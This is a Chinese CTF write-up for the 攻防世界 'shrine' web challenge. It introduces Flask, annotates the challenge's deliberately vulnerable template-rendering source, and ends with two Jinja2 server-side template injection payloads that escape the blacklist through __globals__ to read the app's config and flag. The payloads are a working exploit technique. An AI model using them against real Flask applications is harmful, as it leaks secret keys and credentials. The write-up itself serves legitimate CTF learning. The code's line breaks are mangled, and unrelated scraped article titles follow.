文章目录

  • 前言
  • 一、shrine
    • 1.题目
    • 2.答题

前言

Flask是一个轻量级的Web应用程序框架,用于Python编程语言。它是基于Werkzeug WSGI工具箱和Jinja2模板引擎构建的。 Flask提供了一组工具和库,可以帮助开发人员构建Web应用程序,包括路由、HTTP请求处理、会话管理和数据存储等。它是一个开源框架,可以在许多领域使用,例如Web开发、物联网、机器学习和数据分析等。

Flask包括以下主要组件:

  1. Werkzeug:一个WSGI工具库,提供了底层的服务端网关接口(WSGI)实现,用于接收和处理HTTP请求。

  2. Jinja2:一个模板引擎,用于构建动态内容的HTML页面。

  3. Routing:Flask提供了路由处理机制,使得开发人员能够将HTTP请求映射到特定的函数,从而处理相应的请求。

  4. Flask插件:Flask提供了许多可扩展的插件,用于处理安全、表单验证、数据库连接、电子邮件等方面的任务,从而使得开发人员可以专注于应用程序的具体业务逻辑。

下面是Flask实现简单web服务源码

下面是一个简单的Flask实现的Web服务的源码示例:

from flask import Flaskapp = Flask(__name__)@app.route('/')
def home():return 'Hello, World!'if __name__ == '__main__':app.run(debug=True)

这个示例代码中,我们首先导入了Flask框架,并创建了一个应用程序实例app。然后我们使用修饰器@app.route('/')来定义一个路由,表示当访问根URL时会调用函数home()。在home()函数中,我们返回了一个简单的字符串“Hello, World!”。

最后,我们使用if __name__ == '__main__':语句来指定当脚本被直接运行时,调用app.run()方法来启动Web服务。debug=True是一个可选参数,用于开启调试模式,以便在开发过程中更容易发现和调试错误。

一、shrine

1.题目

2.答题

import flask
import osapp = flask.Flask(__name__)
/*创建了flask包下的Flask类的对象,name是一个适用于多数情况的快捷方式。有了这个参数,Flask才知道在哪里可以找到模板和静态文件*/app.config['FLAG'] = os.environ.pop('FLAG')
//这句话的意思就是说flag在app的config变量里@app.route('/')/* @app.route(url) 是Flask框架中的一个装饰器,他的作用是在程序运行时,装饰一个视图函数,用给定的url规则和选项注册他*/def index():return open(__file__).read() //相当于返回源码,也就是我们看到源码的页面@app.route('/shrine/<path:shrine>')
//这个是带参数的写法
def shrine(shrine): // 这里shrine的值就是上面的 <path:shrine>def safe_jinja(s):s = s.replace('(', '').replace(')', '') // 先将 ) 替换为 空,再将 ( 替换为 空blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
//匹配黑名单,将匹配到的config和self换成空字符return flask.render_template_string(safe_jinja(shrine))
// 这句话就是调用了过滤函数对用户输入的网址进行过滤if __name__ == '__main__':app.run(debug=True) //如果这个python是主程序,则启动app

从整理好的代码中,我们得出 flag在config变量中,但config,self,(), 都被过滤了

假设没有过滤,可以尝试直接访问 config变量或者 {{self.dict}}来获取变量

如果有过滤,就需要尝试通过全局变量实现沙盒逃逸

{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}


得到flag:flag{shrine_is_good_ssti}

【愚公系列】2023年05月 攻防世界-Web(shrine)相关推荐

  1. 【愚公系列】2023年05月 攻防世界-Web(lottery)

    文章目录 前言 一.lottery 1.题目 2.答题 前言 dirsearch是一个用于Web服务器的爬虫工具,它可以快速地扫描网站的目录,并找出隐藏的文件和目录.dirsearch可以检测出许多常 ...

  2. 【愚公系列】2023年05月 攻防世界-Web(unseping)

    文章目录 前言 一.unseping 1.题目 2.答题 前言 反序列化漏洞是一种安全漏洞,存在于那些使用序列化技术的应用程序中.反序列化是将已序列化数据还原回对象的过程.攻击者可以通过构造恶意序列化 ...

  3. 【愚公系列】2023年05月 攻防世界-Web(FlatScience)

    文章目录 前言 一.FlatScience 1.题目 2.答题 前言 Robots协议,也称作robots.txt,是一种在Web站点中告诉搜索引擎蜘蛛哪些页面可以被访问的协议.该协议规定了机器人在访 ...

  4. 【愚公系列】2023年05月 攻防世界-Web(file_include)

    文章目录 前言 1.文件包含漏洞 2.php伪协议 3.php包含漏洞函数 一.file_include 1.题目 2.答题 总结 前言 1.文件包含漏洞 文件包含漏洞(File Inclusion ...

  5. 【愚公系列】2023年05月 攻防世界-Web(Web_php_include)

    文章目录 前言 1.文件包含漏洞 2.php伪协议 3.php包含漏洞函数 一.Web_php_include 1.题目 2.答题 2.1 伪协议解题 2.2 中国蚁剑 2.3 数据库写入 前言 1. ...

  6. 【愚公系列】2023年05月 攻防世界-Web(fileclude)

    文章目录 前言 1.文件包含漏洞 2.php伪协议 一.fileclude 1.题目 2.答题 前言 1.文件包含漏洞 文件包含漏洞(File Inclusion Vulnerability)是一种常 ...

  7. 【愚公系列】2023年05月 攻防世界-Web(fileinclude)

    文章目录 前言 1.文件包含漏洞 2.php伪协议 一.fileinclude 1.题目 2.答题 前言 1.文件包含漏洞 文件包含漏洞(File Inclusion Vulnerability)是一 ...

  8. 【愚公系列】2023年05月 攻防世界-Web(Web_php_unserialize)

    文章目录 前言 一.Web_php_unserialize 1.题目 2.答题 前言 PHP的序列化漏洞是一种安全漏洞,攻击者可以利用这种漏洞来执行恶意代码或获取敏感信息.具体来说,攻击者可以通过在序 ...

  9. 【愚公系列】2023年05月 攻防世界-Web(Confusion1)

    文章目录 前言 一.Confusion1 1.题目 2.答题 前言 SSTI漏洞(Server Side Template Injection,服务端模板注入漏洞)是一种 web 应用程序中的安全漏洞 ...

最新文章

  1. mysql5.7与8.0用那个_MySQL 5.7 vs 8.0,哪个性能更牛?
  2. Cloudera Manager安装之利用parcels方式(在线或离线)安装3或4节点集群(包含最新稳定版本或指定版本的安装)(添加服务)(Ubuntu14.04)(五)...
  3. Docker Swarm集群config集中管理配置文件
  4. 伪造谷歌安全类的钓鱼邮件案例
  5. BigDecimal.setScale 处理java小数点
  6. FileBeats安装
  7. 面试准备——Java回顾:高级编程(多线程、常用类、集合、泛型、IO流、反射、动态代理、新特性)
  8. linux mint下安装vnc,VNC远程连接Linux mint桌面
  9. mac vscode配置c++ debug环境
  10. wind7计算机控制面板在哪,联想win7系统控制面板在哪里打开
  11. [UOJ#405/LOJ#2863][IOI2018]组合动作(交互)
  12. java constants_Java Constants类代码示例
  13. 一个有用的webstrom激活方法
  14. oracle的switch+case语句吗,2.7 switch 语句中的 case 范围
  15. 演员改行做程序员?一男一女,这两个人你绝对想不到
  16. C++ 开源库,很完整介绍【转】
  17. php mpdf导航栏信息,php – 我想使用mpdf在pdf中设置页眉和页脚
  18. latex表格内容上下居中_表格内容垂直居中
  19. Matlab公网通信的实现(NAT123实现内网穿透)
  20. 《安全屋》第一季华丽登场,一桩划算的数据“买卖”

热门文章

  1. 双系统装完只能u盘启动_韩博士教你怎么安装Windows双系统
  2. Golang题 一揽子方案
  3. 系统清理软件MacBooster 7破解版
  4. java成绩管理系统毕业论文_java web学生成绩管理系统,可作为java毕业论文
  5. 华为OD机试之打印机队列(Java源码)
  6. c# SerialPort 串口通讯 十六进制接收发送 转换
  7. 周志明:深入java虚拟机_虚拟面板:在低延迟环境中使用Java
  8. 远程桌面、云办公与云游戏的多种解决方案(由简入深)
  9. 民间秘方,里面的方子都是一个老中医几十年的心血~~很强~~身体不好一定要看
  10. weblogic控制台相关操作